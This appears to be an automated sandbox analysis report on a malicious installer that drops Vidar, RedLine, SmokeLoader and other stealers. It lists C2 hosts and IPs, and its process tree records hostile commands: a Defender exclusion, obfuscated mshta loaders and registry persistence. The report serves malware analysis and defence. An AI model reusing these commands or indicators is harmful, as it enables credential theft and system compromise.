Resubmissions
02-12-2021 07:35
211202-je6zgsfge4 1010-09-2021 20:31
210910-za2rzaaeh3 1010-09-2021 19:40
210910-ydvmdsdffp 1010-09-2021 12:06
210910-n9s4bsdbep 1010-09-2021 05:37
210910-gbjcxahdh2 1009-09-2021 22:16
210909-17av7aghb7 1009-09-2021 22:12
210909-14mqksgha9 1009-09-2021 22:12
210909-14l42sgha8 1009-09-2021 22:11
210909-14e1qsgha7 1009-09-2021 22:11
210909-138lnacacn 10Analysis
-
max time kernel
50s -
max time network
1217s -
platform
windows10_x64 -
resource
win10-de -
submitted
09-09-2021 22:11
General
-
Target
setup_x86_x64_install.exe
-
Size
4.3MB
-
MD5
6d18c8e8ab9051f7a70b89ff7bb0ec35
-
SHA1
265311e2afd9f59e824f4b77162cf3dfa278eb7e
-
SHA256
8fe6c86b038ce91a991fe6eb8a9b323bb37b554ff6b4e5c18de3fe52d4aedf6d
-
SHA512
249bf79dc90d4662b942c7eed2a7b7816b749f6d5f7bc190bba05f826fa143d0b44f58054d8649b8626884c5fcbd1cea8abd625dc701d44b7aaac84fc74e47ff
Score
10/10
Malware Config
Extracted
Family
vidar
Version
40.5
Botnet
706
C2
https://gheorghip.tumblr.com/
Attributes
-
profile_id
706
Extracted
Family
redline
Botnet
pab123
C2
45.14.49.169:22411
Extracted
Family
smokeloader
Version
2020
C2
http://varmisende.com/upload/
http://fernandomayol.com/upload/
http://nextlytm.com/upload/
http://people4jan.com/upload/
http://asfaltwerk.com/upload/
rc4.i32
rc4.i32
Extracted
Family
redline
Botnet
UTS
C2
45.9.20.20:13441
Signatures
-
NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
-
Process spawned unexpected child process 5 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 4 IoCs
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
-
Socelars Payload 2 IoCs
-
Tofsee
Backdoor/botnet which carries out malicious activities based on commands from a C2 server.
-
Vidar
Vidar is an infostealer based on Arkei stealer.
-
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
-
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
-
suricata: ET MALWARE Known Sinkhole Response Header
suricata: ET MALWARE Known Sinkhole Response Header
-
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
-
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
-
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
-
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
-
Vidar Stealer 2 IoCs
-
ASPack v2.12-2.42 6 IoCs
Detects executables packed with ASPack v2.12-2.42
-
Blocklisted process makes network request 5 IoCs
-
Creates new service(s) 1 TTPs
-
Downloads MZ/PE file
-
Executes dropped EXE 34 IoCs
-
Modifies Windows Firewall 1 TTPs
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Loads dropped DLL 14 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 2 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 15 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Suspicious use of SetThreadContext 1 IoCs
-
Drops file in Program Files directory 3 IoCs
-
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 16 IoCs
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 3 IoCs
-
Kills process with taskkill 13 IoCs
-
Modifies data under HKEY_USERS 5 IoCs
-
Modifies registry class 10 IoCs
-
Modifies system certificate store 2 TTPs 2 IoCs
-
Runs ping.exe 1 TTPs 4 IoCs
-
Script User-Agent 9 IoCs
Uses user-agent string associated with script host/environment.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: MapViewOfSection 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 1 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
-
C:\Users\Admin\AppData\Roaming\hsvhggaC:\Users\Admin\AppData\Roaming\hsvhgga2⤵
-
-
C:\Users\Admin\AppData\Roaming\hsvhggaC:\Users\Admin\AppData\Roaming\hsvhgga2⤵
-
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵
-
C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS4A85E034\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS4A85E034\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu219d5fe8cf316.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS4A85E034\Thu219d5fe8cf316.exeThu219d5fe8cf316.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\7250141.exe"C:\ProgramData\7250141.exe"6⤵
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"7⤵
-
-
-
C:\ProgramData\8997942.exe"C:\ProgramData\8997942.exe"6⤵
-
-
C:\ProgramData\408949.exe"C:\ProgramData\408949.exe"6⤵
-
-
C:\ProgramData\5922618.exe"C:\ProgramData\5922618.exe"6⤵
-
-
C:\ProgramData\478872.exe"C:\ProgramData\478872.exe"6⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCRIPT: cLOsE ( creatEoBjECT ( "wScRiPt.shELl" ). RuN ("CMD /c TypE ""C:\ProgramData\478872.exe"" > gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if """" =="""" for %B iN ( ""C:\ProgramData\478872.exe"" ) do taskkill /Im ""%~NxB"" /F " , 0 , tRUe ) )7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c TypE "C:\ProgramData\478872.exe"> gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if "" =="" for %B iN ( "C:\ProgramData\478872.exe" ) do taskkill /Im "%~NxB" /F8⤵
-
C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXEGZ9~4QZ~O.EXe -P6_oIH__Ioj5q9⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCRIPT: cLOsE ( creatEoBjECT ( "wScRiPt.shELl" ). RuN ("CMD /c TypE ""C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"" > gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if ""-P6_oIH__Ioj5q "" =="""" for %B iN ( ""C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"" ) do taskkill /Im ""%~NxB"" /F " , 0 , tRUe ) )10⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c TypE "C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"> gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if "-P6_oIH__Ioj5q " =="" for %B iN ( "C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE" ) do taskkill /Im "%~NxB" /F11⤵
-
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" T~DJNB.F -u /S10⤵
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /Im "478872.exe" /F9⤵
- Kills process with taskkill
-
-
-
-
-
C:\ProgramData\3100225.exe"C:\ProgramData\3100225.exe"6⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21624565bb917a.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS4A85E034\Thu21624565bb917a.exeThu21624565bb917a.exe5⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21a1ef054cac78a.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS4A85E034\Thu21a1ef054cac78a.exeThu21a1ef054cac78a.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21b93295136197.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS4A85E034\Thu21b93295136197.exeThu21b93295136197.exe5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-D8LUR.tmp\Thu21b93295136197.tmp"C:\Users\Admin\AppData\Local\Temp\is-D8LUR.tmp\Thu21b93295136197.tmp" /SL5="$B007C,138429,56832,C:\Users\Admin\AppData\Local\Temp\7zS4A85E034\Thu21b93295136197.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-ALPEG.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-ALPEG.tmp\Setup.exe" /Verysilent7⤵
- Executes dropped EXE
- Checks computer location settings
- Drops file in Program Files directory
-
C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent8⤵
-
C:\Users\Admin\AppData\Local\Temp\is-TBPO5.tmp\stats.tmp"C:\Users\Admin\AppData\Local\Temp\is-TBPO5.tmp\stats.tmp" /SL5="$203EE,138429,56832,C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent9⤵
-
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Setup.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Setup.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\BSKR.exe"C:\Users\Admin\AppData\Local\Temp\BSKR.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\BSKR.exeC:\Users\Admin\AppData\Local\Temp\BSKR.exe10⤵
-
-
C:\Users\Admin\AppData\Local\Temp\BSKR.exeC:\Users\Admin\AppData\Local\Temp\BSKR.exe10⤵
-
-
C:\Users\Admin\AppData\Local\Temp\BSKR.exeC:\Users\Admin\AppData\Local\Temp\BSKR.exe10⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser144.exe"C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser144.exe"9⤵
-
C:\ProgramData\8018353.exe"C:\ProgramData\8018353.exe"10⤵
-
-
C:\ProgramData\8173857.exe"C:\ProgramData\8173857.exe"10⤵
-
-
C:\ProgramData\8184513.exe"C:\ProgramData\8184513.exe"10⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCRIPT: cLOsE ( creatEoBjECT ( "wScRiPt.shELl" ). RuN ("CMD /c TypE ""C:\ProgramData\8184513.exe"" > gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if """" =="""" for %B iN ( ""C:\ProgramData\8184513.exe"" ) do taskkill /Im ""%~NxB"" /F " , 0 , tRUe ) )11⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c TypE "C:\ProgramData\8184513.exe"> gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if "" =="" for %B iN ( "C:\ProgramData\8184513.exe" ) do taskkill /Im "%~NxB" /F12⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /Im "8184513.exe" /F13⤵
- Kills process with taskkill
-
-
-
-
-
C:\ProgramData\4040787.exe"C:\ProgramData\4040787.exe"10⤵
-
-
C:\ProgramData\5593737.exe"C:\ProgramData\5593737.exe"10⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Mortician.exe"C:\Users\Admin\AppData\Local\Temp\Mortician.exe"9⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c cmd < Cerchia.vsdx10⤵
-
C:\Windows\SysWOW64\cmd.execmd11⤵
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^JdxmflaMoKJKGKEonRKIDlCuNBztuuxobvTVXbusdtKZTUcnQFZrvdHmOhLNQgGwfAjlQJkqLaammCjTuVhBisMuOxuJLaA$" Attesa.vsdx12⤵
-
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comImpedire.exe.com I12⤵
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I13⤵
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I14⤵
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I15⤵
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I16⤵
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I17⤵
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I18⤵
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I19⤵
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I20⤵
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I21⤵
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I22⤵
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I23⤵
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I24⤵
- Loads dropped DLL
- Modifies registry class
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I25⤵
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I26⤵
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I27⤵
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I28⤵
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I29⤵
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I30⤵
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I31⤵
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I32⤵
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I33⤵
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I34⤵
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I35⤵
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\PING.EXEping localhost12⤵
- Runs ping.exe
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\foradvertising.exe"C:\Users\Admin\AppData\Local\Temp\foradvertising.exe" /wws19⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "foradvertising.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\foradvertising.exe" & exit10⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "foradvertising.exe" /f11⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\gdgame.exe"C:\Users\Admin\AppData\Local\Temp\gdgame.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\gdgame.exe"C:\Users\Admin\AppData\Local\Temp\gdgame.exe" -a10⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\installer.exe"C:\Users\Admin\AppData\Local\Temp\installer.exe" /qn CAMPAIGN="710"9⤵
-
-
C:\Users\Admin\AppData\Local\Temp\IBInstaller_74449.exe"C:\Users\Admin\AppData\Local\Temp\IBInstaller_74449.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 7219⤵
-
C:\Users\Admin\AppData\Local\Temp\is-SBVBK.tmp\IBInstaller_74449.tmp"C:\Users\Admin\AppData\Local\Temp\is-SBVBK.tmp\IBInstaller_74449.tmp" /SL5="$30480,14713126,721408,C:\Users\Admin\AppData\Local\Temp\IBInstaller_74449.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 72110⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c expand C:\Users\Admin\AppData\Local\Temp\is-0VBRO.tmp\{app}\microsoft.cab -F:* %ProgramData%11⤵
-
C:\Windows\SysWOW64\expand.exeexpand C:\Users\Admin\AppData\Local\Temp\is-0VBRO.tmp\{app}\microsoft.cab -F:* C:\ProgramData12⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\svrwebui.exe" /f11⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe" /f12⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c start http://lereknoj24.top/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=74449^¶m=72111⤵
-
-
C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe"C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe"11⤵
-
-
C:\Users\Admin\AppData\Local\Temp\is-0VBRO.tmp\{app}\vdi_compiler.exe"C:\Users\Admin\AppData\Local\Temp\is-0VBRO.tmp\{app}\vdi_compiler"11⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping localhost -n 4 && del "C:\Users\Admin\AppData\Local\Temp\is-0VBRO.tmp\{app}\vdi_compiler.exe"12⤵
-
C:\Windows\SysWOW64\PING.EXEping localhost -n 413⤵
- Runs ping.exe
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\vpn.exe"C:\Users\Admin\AppData\Local\Temp\vpn.exe" /silent /subid=7209⤵
-
C:\Users\Admin\AppData\Local\Temp\is-U1817.tmp\vpn.tmp"C:\Users\Admin\AppData\Local\Temp\is-U1817.tmp\vpn.tmp" /SL5="$404CA,15170975,270336,C:\Users\Admin\AppData\Local\Temp\vpn.exe" /silent /subid=72010⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "11⤵
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe remove tap090112⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "11⤵
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe install OemVista.inf tap090112⤵
-
-
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall11⤵
-
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" install11⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Weather Installation.exe"C:\Users\Admin\AppData\Local\Temp\Weather Installation.exe" /quiet SILENT=1 AF=715 BF=7159⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=715 BF=715 AI_SETUPEXEPATH="C:\Users\Admin\AppData\Local\Temp\Weather Installation.exe" SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1630966045 /quiet SILENT=1 AF=715 BF=715 " AF="715" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912" BF="715"10⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Cleaner_Installation.exe"C:\Users\Admin\AppData\Local\Temp\Cleaner_Installation.exe" SID=717 CID=717 SILENT=1 /quiet9⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner 1.0.0\install\FD7DF1F\Cleaner Installation.msi" SID=717 CID=717 SILENT=1 /quiet AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\Cleaner_Installation.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1630966045 SID=717 CID=717 SILENT=1 /quiet " SID="717" CID="717"10⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\askinstall45.exe"C:\Users\Admin\AppData\Local\Temp\askinstall45.exe"9⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe10⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe11⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Cube_WW12.exe"C:\Users\Admin\AppData\Local\Temp\Cube_WW12.exe"9⤵
-
C:\Users\Admin\Documents\Jn2KvgcKnz8oanJrFUsfNNOY.exe"C:\Users\Admin\Documents\Jn2KvgcKnz8oanJrFUsfNNOY.exe"10⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Jn2KvgcKnz8oanJrFUsfNNOY.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\Jn2KvgcKnz8oanJrFUsfNNOY.exe" & del C:\ProgramData\*.dll & exit11⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im Jn2KvgcKnz8oanJrFUsfNNOY.exe /f12⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 612⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\Documents\E8cypUUZIRV0n2T5SJ2ofirs.exe"C:\Users\Admin\Documents\E8cypUUZIRV0n2T5SJ2ofirs.exe"10⤵
-
-
C:\Users\Admin\Documents\U76r3dbnaPdce9ASfwzs2Lx0.exe"C:\Users\Admin\Documents\U76r3dbnaPdce9ASfwzs2Lx0.exe"10⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"11⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"12⤵
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"11⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=93.0.4577.63 --initial-client-data=0xcc,0xa4,0xd0,0xc8,0xd4,0x7ffd6a2ea380,0x7ffd6a2ea390,0x7ffd6a2ea3a012⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1536,15521771617235695247,10930881317232169579,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1604 /prefetch:212⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1536,15521771617235695247,10930881317232169579,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2168 /prefetch:812⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1536,15521771617235695247,10930881317232169579,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1716 /prefetch:812⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1536,15521771617235695247,10930881317232169579,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2612 /prefetch:112⤵
-
-
